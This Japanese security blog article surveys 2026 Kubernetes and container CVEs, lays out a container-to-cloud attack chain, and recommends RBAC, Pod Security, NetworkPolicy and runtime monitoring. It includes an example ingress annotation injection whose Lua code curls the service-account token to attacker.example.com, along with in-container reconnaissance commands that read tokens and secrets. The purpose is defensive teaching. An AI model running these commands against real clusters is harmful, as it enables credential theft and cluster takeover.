メインコンテンツへスキップ

Kubernetesが攻撃の主戦場に:コンテナ環境を狙う最新CVEと攻撃チェーンの技術解剖

    はじめに

    Kubernetes(K8s)の採用率は世界で急速に拡大し、エンタープライズのワークロードの大半がコンテナオーケストレーション上で動作する時代になった。それと同時に、Kubernetesとそのエコシステムは攻撃者にとって極めて魅力的な標的となっている。
    クラウドネイティブ環境の特性——数千のコンテナ・複雑なRBAC設定・多数のサービスアカウント・クラウドプロバイダーとの統合——は、設定ミスや脆弱性が生まれやすく、かつ攻撃成功時のインパクトが甚大だ。1つのコンテナから侵入し、クラスタ全体を掌握し、クラウドアカウント全体へ横展開するという攻撃チェーンは、もはや理論上の話ではない。
    2026年上半期だけで、Azure Kubernetes Service(AKS)・ingress-nginx・Dockerデーモンを含む複数のコンポーネントに深刻な脆弱性が発見・悪用されている。本稿では代表的なCVEを解剖し、攻撃チェーン全体の流れと実践的な防御戦略を詳述する。


    2026年上半期の主要Kubernetes/コンテナCVE


    CVE-2026-33105:Azure Kubernetes Service 認証完全バイパス

    対象: Azure Kubernetes Service(AKS)コントロールプレーン
    深刻度: Critical
    ネットワーク経由で認証・認可機構を完全にバイパスし、特権昇格を可能にする脆弱性。事前アクセス不要・低複雑性・ネットワーク越しに実行可能というCVSSスコア最上位条件を満たす。マネージドKubernetesのコントロールプレーンに起因するため、利用者側でのコード修正ではなくAzureのプラットフォームパッチ適用が必要だ。
    本脆弱性の核心は、クラスタのAPIサーバーに対する特定の形式のHTTPリクエストを送ることで、RBAC(ロールベースアクセス制御)の検証ロジックが完全にスキップされる点にある。悪用されると、攻撃者はクラスタ全体のシークレット(Secrets)・ConfigMap・永続ボリュームにアクセスし、任意のPodをデプロイできる。
    AKSを利用する組織は、Azureが提供したセキュリティパッチの適用状況をAzure Security Centerで確認し、適用が自動であっても ノードプールの再起動が完了していること を必ず確認すること。

    CVE-2026-3288:ingress-nginx 設定インジェクション → 任意コード実行

    対象: ingress-nginx(広く使われるKubernetes Ingressコントローラー)
    深刻度: Critical(CVSS 9.0)
    `nginx.ingress.kubernetes.io/rewrite-target` アノテーションを通じてnginx設定ファイルに任意のディレクティブを注入できる脆弱性。攻撃者はIngress Objectを作成・変更できる権限(一般的に開発者に付与される)さえあれば悪用可能だ。
    攻撃例:

    apiVersion: networking.k8s.io/v1
    kind: Ingress
    metadata:
      annotations:
        nginx.ingress.kubernetes.io/rewrite-target: |
          /;
          lua_shared_dict secrets 10m;
          init_by_lua_block {
            -- Kubernetesシークレットを外部サーバーへ送信する悪意あるLuaコード
            os.execute("curl -s https://attacker.example.com/exfil?data=$(cat /run/secrets/kubernetes.io/serviceaccount/token)")
          }

    この手法でnginxワーカープロセスを制御し、ingress-nginxコントローラーがアクセスできるすべてのKubernetes Secretsを読み取ることが可能になる。本脆弱性が特に危険なのは、コントローラーがクラスタ内の全Namespaceのシークレットにアクセスできる権限を持つことが多い点だ。
    対策: ingress-nginx を最新バージョンにアップデートし、アノテーションのバリデーション機能を有効化する。OPA Gatekeeper等でアノテーションの値に正規表現制限を設けることも有効。

    CVE-2026-34040:Docker 認証バイパス → ホストアクセス

    対象: Docker Engine(authz plugin使用環境)
    深刻度: High(CVSS 8.8)
    Dockerデーモンの認証プラグイン(authz plugin)の検証ロジックにバイパスが存在する。特定の形式のAPIリクエストを送ることで認可チェックをスキップし、コンテナからホストのファイルシステム・プロセス空間・ネットワークスタックにアクセスできる。
    2019年の CVE-2019-5736(runc コンテナエスケープ)に類似した攻撃パターンで、PoCがすでに公開されている。CIパイプラインで Docker-in-Docker(DinD)を使っている環境は特に注意が必要だ。

    CVE-2026-31431:Linuxカーネル algif_aead ローカル特権昇格

    対象: Linuxカーネル(algif_aead モジュール)
    深刻度: High(CVSS 7.8)
    コンテナノード上でコードを実行できる攻撃者(例:コンテナ内に侵入済みの攻撃者)がノードのrootに昇格できる脆弱性。Kubernetesはコンテナ間でカーネルを共有するため、このカーネル脆弱性を使ったコンテナエスケープが現実的な脅威となる。
    ノードのカーネルバージョンを `uname -r` で確認し、ディストリビューションのセキュリティパッチ(AKS/EKS/GKEの場合はノードイメージの更新)を適用すること。

    Kubernetes ServiceAccount マウントポリシーバイパス

    CVEとしての番号は割り当てられているが概念的に重要な問題として:containers・initContainers・ephemeralContainersの `envFrom` フィールドを使うことで、ServiceAccount admission pluginが強制するマウント可能なシークレットポリシーをバイパスできることが確認されている。最小権限原則で ServiceAccount を設計していても、`envFrom` 経由で意図しないシークレットが漏洩するリスクがある。

    典型的な攻撃チェーン:コンテナ侵入からクラウドアカウント全掌握まで

    実際の攻撃はフェーズを分けて段階的に進む。
    フェーズ1:初期侵入

    • 脆弱なWebアプリ(Pod上で動作)へのRCE(リモートコード実行)

    • ingress-nginx等のコントローラーへの設定インジェクション(CVE-2026-3288)

    • サプライチェーン攻撃によるコンテナイメージへのマルウェア埋め込み

    • 過剰権限のCI/CDパイプラインの悪用

    フェーズ2:コンテナ内偵察

    # サービスアカウントトークン取得
    cat /var/run/secrets/kubernetes.io/serviceaccount/token
    
    # 環境変数からDBパスワード・APIキーを探す
    env | grep -i -E "password|secret|key|token|api"
    
    # Kubernetes APIサーバーへの問い合わせ
    curl -s https://kubernetes.default/api/v1/namespaces \
      -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
      --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

    フェーズ3:特権昇格・横移動

    • 取得したサービスアカウントトークンでKubernetes APIを叩き、RBAC設定が過剰に緩い場合は `cluster-admin` 権限を持つ RoleBinding を新規作成

    • subpath volume mount を利用したホストファイルシステムへのアクセス

    • CVE-2026-31431 等を使ったカーネルエクスプロイトによるコンテナエスケープ

    • 他 Namespace への Secrets 参照

    フェーズ4:持続性確立とデータ窃取

    • DaemonSet として全ノードにバックドアPodをデプロイ

    • クラウドプロバイダーのIMDSエンドポイント(`169.254.169.254`)アクセスによるIAM認証情報奪取

    • S3バケット・Azure Blob・GCS の全データ窃取

    • クラウドアカウントへの永続的なバックドアユーザー作成

    防御戦略:多層防御の実践


    RBAC の最小権限原則の徹底

    # 悪い例:ワイルドカード権限
    rules:
    - apiGroups: ["*"]
      resources: ["*"]
      verbs: ["*"]
    
    # 良い例:必要最小限の権限
    rules:
    - apiGroups: ["apps"]
      resources: ["deployments"]
      verbs: ["get", "list", "watch"]
      resourceNames: ["my-specific-deployment"]

    サービスアカウントには `automountServiceAccountToken: false` を原則設定し、必要なPodにのみ明示的にマウントする。

    apiVersion: v1
    kind: ServiceAccount
    metadata:
      name: restricted-sa
    automountServiceAccountToken: false


    Pod Security Standards の適用

    Kubernetes 1.25以降でGAとなった Pod Security Standards(PSS)を活用し、`restricted` プロファイルをNamespaceレベルで適用する。これによりホストの pid/network/ipc ネームスペース共有・特権コンテナ・hostPath マウント・capabilities の追加が禁止される。

    apiVersion: v1
    kind: Namespace
    metadata:
      name: production
      labels:
        pod-security.kubernetes.io/enforce: restricted
        pod-security.kubernetes.io/audit: restricted
        pod-security.kubernetes.io/warn: restricted


    NetworkPolicy によるPod間通信の制限

    デフォルトですべての通信を拒否し、必要なPod間のみ明示的に許可するネットワークポリシーを設定する。横移動フェーズを大幅に困難にする。

    # デフォルト拒否ポリシー
    apiVersion: networking.k8s.io/v1
    kind: NetworkPolicy
    metadata:
      name: default-deny-all
    spec:
      podSelector: {}
      policyTypes:
      - Ingress
      - Egress


    ランタイム保護とAPIサーバー監査ログ

    Falco 等のランタイムセキュリティツールでシステムコールレベルの異常を検知する。特に以下のイベントはアラートを上げるべきだ。

    • コンテナ内での `kubectl` / `curl` 実行

    • `/etc/shadow` や `/var/run/secrets` へのアクセス

    • 予期しない外部IPへのネットワーク接続

    • ファイルシステムへの書き込み(read-only rootfsを前提とする場合)

    APIサーバーの監査ログは最低でも以下を `RequestResponse` レベルで取得し、SIEMに転送する。

    rules:
    - level: RequestResponse
      resources:
      - group: ""
        resources: ["secrets"]
    - level: RequestResponse
      resources:
      - group: "rbac.authorization.k8s.io"
        resources: ["clusterroles", "clusterrolebindings", "roles", "rolebindings"]
    - level: Metadata
      verbs: ["create", "update", "patch", "delete"]


    イメージスキャンとSBOM管理

    • ビルド時: Trivy・Grype でCVEスキャン(CIで CRITICAL を検出したらビルド失敗にする)

    • レジストリ: Harbor 等でポリシー適用(未スキャンイメージのデプロイ拒否)

    • ランタイム: Admission Webhook でホワイトリスト外イメージの実行を禁止

    • SBOM: CycloneDX または SPDX 形式でSBOMを生成し、サプライチェーンの透明性を確保

    まとめ

    • CVE-2026-33105(AKS認証バイパス)・CVE-2026-3288(ingress-nginx設定インジェクション)・CVE-2026-34040(Docker認証バイパス)は即時パッチ適用が必要な Critical/High 脆弱性だ

    • 攻撃はコンテナ侵入→サービスアカウントトークン窃取→RBAC悪用→コンテナエスケープ→クラウドアカウント掌握という段階的なチェーンで進む

    • RBAC最小権限・Pod Security Standards・NetworkPolicy の3層が防御の基本である

    • Falco等のランタイム保護とAPIサーバー監査ログは侵害の早期検知に不可欠だ

    • マネージドKubernetesサービス(AKS/EKS/GKE)もプラットフォーム層の脆弱性が存在するため、クラウドプロバイダーのセキュリティアドバイザリを定期購読し、ノードイメージの更新を怠らないこと


    参考

     
     
    サイバーセキュリティに関する情報を、実務で活用しやすい形で発信することを目的として運営しています。 本noteの記事は、生成AIを活用して作成しています。 ※公開前にセキュリティアナリストである運営者本人が内容を確認、編集したうえで投稿しています。

    あなたへのおすすめ